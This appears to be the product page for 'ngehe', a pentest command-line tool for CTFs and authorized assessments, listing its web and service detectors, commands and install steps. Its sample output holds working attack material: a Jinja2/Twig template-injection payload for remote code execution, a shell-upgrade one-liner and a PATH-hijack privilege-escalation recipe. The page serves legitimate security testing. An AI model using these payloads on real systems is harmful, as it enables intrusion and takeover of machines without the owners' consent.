v0.4 · alpha · Apache-2.0

Single-binary pentest CLI
for HTB, CTFs, and authorized engagements.

ngehe discovers a target's attack surface — web + non-HTTP services — and tests for the OWASP Top 10 plus the standard HTB attack vectors (SSH, SMB, LDAP/AD, Kerberos, default credentials). Every finding ships with a concrete exploit playbook, so you go from "port open" to root.txt in one tool.

Why ngehe

One Go binary. No Python venv hell, no plugin sprawl, no GUI tax.

nmap → per-service dispatch

Shells out to nmap, parses the XML, then auto-fires the right module for every open port — SSH, FTP, SMB, LDAP, SNMP, DNS, DBs, HTTP.

OWASP Top 10 detectors

SQLi, CMDi, SSTI, LFI, SSRF, XSS, BOLA, JWT abuse, mass-assignment, default creds, sensitive-file disclosure, tech fingerprinting.

AD / Kerberos / BloodHound

AS-REP roasting, Kerberoasting, LDAP enumeration, BloodHound JSON collection, NTLM password spray — all native Go.

Baseline-aware oracle

Markers are verified against reflective baselines, so SSTI / CMDi / SSRF detectors don't false-positive on simple echo endpoints.

Exploit playbook per finding

Every finding includes a next field with the literal payload, hashcat invocation, or impacket command to chain it to RCE / shell / DA.

SecLists embedded

common.txt (4750), quickhits.txt (2567), default-passwords.csv (2876) — bundled via go:embed. No network fetches at scan time.

External scanner integrations

Shells out to nuclei, amass, subfinder, httpx when present. ngehe surface maps subdomains end-to-end; --nuclei adds template-based CVE coverage to scan / box.

Five commands

Pick the entry point that matches what you have.

ngehe box

"I just got an HTB IP." nmap + every per-service module + web recon — full spectrum. --nuclei adds template scan.

$ ngehe box \
    --target 10.10.11.5 \
    --domain target.htb \
    --markdown box.md

ngehe surface

Subdomain enum + live-host probe. Chains amass + subfinder + httpx (+ optional nuclei).

$ ngehe surface \
    --domain target.htb \
    --nuclei \
    --markdown surface.md

ngehe recon

URL-only surface mapping: tech fingerprint, sensitive files, dir bruteforce.

$ ngehe recon \
    --target http://10.10.11.5 \
    --markdown recon.md

ngehe scan

Active OWASP detectors. Takes HAR (best signal), OpenAPI spec, or just a URL. --nuclei bolts on template scan.

$ ngehe scan \
    --har capture.har \
    --config ngehe.yaml \
    --nuclei \
    --markdown findings.md

ngehe chain

Guided exploit walkthrough. Reads a findings JSONL, walks each finding's playbook, prompts you to run / edit / skip the command. Bridge from "found" to "shell."

$ ngehe chain findings.jsonl
$ ngehe chain findings.jsonl --all

Detector library

Web detectors aligned to OWASP Top 10. Each one emits a structured finding with rule, severity, evidence, and next-step.

OWASPDetectorWhat it does
A01 Broken Accessbola-cross-user-accessReplay request as each other session; flag similar responses
idor-mutated-idPermute numeric / UUID IDs in path and body
lfi-path-traversal../etc/passwd, encoding variants, php://filter, file://
A02 Crypto Failuresjwt-alg-noneUnsigned token accepted
jwt-weak-secretHS256 token re-signed with weak secret accepted
jwt-kid-injectionPath-traversal kid accepted
A03 Injectionsqli-error-based / sqli-time-basedDB error string or measurable SLEEP delay
cmdi-marker / cmdi-time-basedShell command output reflected, or sleep delay (blind RCE)
ssti{{1337*1331}} evaluated to 1779547 server-side
xss-reflectedPayload reflected unescaped into HTML context
A05 Misconfigsensitive-fileContent-fingerprinted probes for .git, .env, AWS creds, phpinfo
dir-discoverySecLists common.txt directory bruteforce
default-credentialsCurated web admin creds tested against configured login URLs
A06 Vuln Componentstech-fingerprintServer / framework / CMS / runtime versions for manual CVE lookup
cve-2026-41940-cpanel-whm-auth-bypassNon-invasive cPanel / WHM / WP Squared version check for auth-bypass vulnerable branches
cve-2026-42945-nginx-riftBanner-based NGINX Rift vulnerable-version check without crash / DoS payloads
A08 Integritymass-assign-reflected / -acceptedisAdmin / role / owner injection echoed or silently accepted
A10 SSRFssrfCloud metadata (AWS / GCP / Azure), file://, loopback, gopher / dict

Service scanners (ngehe box)

Auto-dispatched per service nmap finds open.

ServiceModules
SSHssh-banner, ssh-old-openssh, ssh-libssh-auth-bypass, ssh-cve-2018-15473, ssh-auth-methods, ssh-none-auth-allowed
FTPftp-banner, ftp-anonymous-allowed, ftp-anonymous-listing
SMBsmb-null-session-allowed, smb-anonymous-allowed, smb-guest-allowed
LDAPldap-anonymous-bind, ldap-root-dse, ldap-user-enum, ldap-asrep-roastable
SNMPsnmp-community-accepted
DNSdns-axfr-allowed, dns-subdomain
Databasesdb-default-creds-{mysql,postgres,mssql,redis}, db-no-auth-redis
Active Directorykerberos-asrep-roast, kerberos-kerberoast (hashcat-format hashes via gokrb5)
BloodHoundbloodhound-collect — LDAP-based collection into BloodHound JSON
HTTP NTLMntlm-spray-hit — password spray against HTTP NTLM endpoints

External scanner integrations

Four independent open-source scanners ngehe shells out to when their binaries are on PATH. Findings land in the same JSONL with source: set so you can filter native vs upstream. Install all four with ./install.sh --with-extras — or skip the host install entirely and use the Docker image (everything pre-bundled).

ToolUsed byWhy
nucleiscan --nuclei, box --nuclei, surface --nucleiTemplate-based scanner. Thousands of community CVE / default-config / exposure templates. Complements ngehe's hand-written detectors with breadth.
amass (OWASP)ngehe surfaceComprehensive passive subdomain enumeration. Slower than subfinder but reaches more sources.
subfinderngehe surfaceFast passive subdomain enumeration across many sources (CRT, VT, Shodan, ...).
httpxngehe surfaceProbe hostnames for live HTTP. Captures status / title / webserver / tech fingerprint.

Each integration is opt-in. If a binary is missing, ngehe prints a hint and skips it without failing the run. Filter native vs upstream findings via ngehe view — no need to remember jq:

$ ngehe view findings.jsonl --source nuclei
$ ngehe view findings.jsonl --source native      # just ngehe's own detectors
$ ngehe view findings.jsonl --source upstream    # any external tool (nuclei/amass/subfinder/httpx)

Output: from finding to shell

Every finding carries a next field with the literal payload. The markdown report opens with a "Suggested attack chain" section that orders the criticals and gives you the commands to run.

findings.jsonl (one finding per line)
{
  "rule": "ssti",
  "severity": "critical",
  "method": "GET",
  "url": "http://target/api/greet?name=%7B%7B1337%2A1331%7D%7D",
  "param": "query:name",
  "payload": "{{1337*1331}}",
  "evidence": "Jinja2/Twig evaluated 1337*1331 → 1779547",
  "why": "template expression evaluated server-side",
  "next": "RCE via template. Engine in evidence — chain to OS commands:
    Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    Twig:   {{['id']|filter('system')}}"
}

Filter to actionable findings (no jq needed):

# Just the attack-chain candidates
$ ngehe view findings.jsonl --severity critical,high

# Convert filtered subset to markdown
$ ngehe view findings.jsonl --severity critical,high --markdown actionable.md

# Pipe URLs into the next stage
$ ngehe view findings.jsonl --rule httpx-live --urls | xargs -I{} ngehe scan -t {}
box.md (excerpt)
## Suggested attack chain

1. CRITICAL ssti at /api/greet?name=...
   → RCE via Jinja2 template injection
   → upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")'

2. HIGH SUID PATH-hijack candidate on
   /usr/local/bin/backup-tool (calls tar with relative path)
   → drop a fake tar in /tmp; export PATH=/tmp:$PATH; run binary
   → likely root shell. cat /root/root.txt

Architecture

Each detector and service module is an independent Go package under internal/. They share httpx, fuzz, oracle, finding, and wordlist utilities.

┌───────────────────────────────────────┐ │ target / capture │ └───┬──────────────────┬────────────────┘ ▼ ▼ ┌──────────────────┐ ┌──────────────────┐ │ ngehe recon │ │ ngehe scan │ │ (URL only) │ │ (HAR / OpenAPI) │ └────────┬─────────┘ └────────┬─────────┘ ▼ ▼ ┌─────────────────────────────────────────┐ │ fingerprint sensitive dirbust │ │ sqli cmdi ssti lfi ssrf xss creds │ │ bola jwt-abuse id-mutate mass-assign │ └────────────────────┬────────────────────┘ ▼ ┌────────────────────────┐ │ JSONL + markdown report│ └────────────────────────┘

Container

Don't want to install on your host? The bundled Docker image runs on Linux, macOS (Apple Silicon + Intel), and Windows/WSL — same image, no platform-specific compile pain.

clone, build, run
$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe
$ ./scripts/ngehe doctor                    # auto-builds image on first run (15-25 min)
$ ./scripts/ngehe surface -d example.com --nuclei
$ ./scripts/ngehe --shell                   # interactive shell with every tool on PATH

~2GB image, the full web + box pentest toolkit. ngehe + nuclei (templates pre-baked) + amass + subfinder + httpx + nmap + sqlmap + ffuf + gobuster + dalfox + hashcat + impacket + netexec + evil-winrm + kerbrute + enum4linux-ng + smbclient + ldap-utils + bloodhound-python + PayloadsAllTheThings. Build once, every command works.

Or docker compose (auto-builds on first run):

$ docker compose run --rm ngehe surface -d example.com --nuclei

No public registry image yet — same model as amass. Set NGEHE_IMAGE=ghcr.io/me/ngehe:latest after pushing to your own registry to swap the local build for a pull.

macOS note: Docker Desktop's --network host runs through a VM bridge — LAN/RFC1918 targets are reachable, but raw-socket nmap modes need --cap-add=NET_RAW. ngehe uses TCP-connect scans by default, so the basic flow works as-is.

Install (host)

Prefer to install on the host? Detects brew / apt / dnf / pacman / apk, installs nmap, builds, and drops ngehe in /usr/local/bin.

one-line install
$ git clone https://github.com/chud-lori/ngehe.git
$ cd ngehe
$ sudo ./install.sh                       # base: ngehe + nmap
$ sudo ./install.sh --with-extras         # also nuclei + amass + subfinder + httpx

Non-root install to ~/.local/bin:

$ PREFIX=$HOME/.local ./install.sh --with-extras

Uninstall (three tiers):

$ sudo ./install.sh --uninstall                   # ngehe binary only
$ sudo ./install.sh --uninstall --with-extras     # also remove the four extras
$ sudo ./install.sh --uninstall --purge           # nuke everything: + nmap + template cache + go modcache

Verify deps:

$ ngehe doctor
# required: nmap                     (for ngehe box)
# recommended: hashcat / sqlmap / bloodhound
Authorized use only. ngehe sends real payloads — SQL injection markers, command-injection probes, traversal sequences, JWT manipulation, password sprays. Use only against systems you own, have written permission to test, or that are explicitly CTF / HTB targets. Coordinate with the asset owner before scanning production.

HTB quick start

Pwning a typical HTB box with ngehe.

workflow
# 1. Full-spectrum scan. Hits every open port.
$ ngehe box --target 10.10.11.5 --domain target.htb --markdown box.md

# 2. If a web app is in scope: capture real traffic in Burp / mitmproxy.
# 3. Write ngehe.yaml with sessions + default-creds URLs.
$ ngehe init --out ngehe.yaml

# 4. Active web scan — every detector.
$ ngehe scan --har capture.har --config ngehe.yaml --markdown web.md

# 5. Read the "Suggested attack chain" header in box.md / web.md.
# 6. Run the literal commands ngehe printed in the next field.
# 7. user.txt → root.txt.

Full walkthroughs (web → root.txt, AD → Domain Admin) in the HOWTO.

Companion tools

ngehe is the active component of a three-tool stack. They share a JSONL output convention.

cornela

Linux container kernel auditor (eBPF). Host hardening, escape-risk detection.

milog

nginx + system monitor. Log scanning, exploit detection, host-integrity audits.

ngehe

Web + service pentest CLI. Active testing during authorized assessments and CTFs.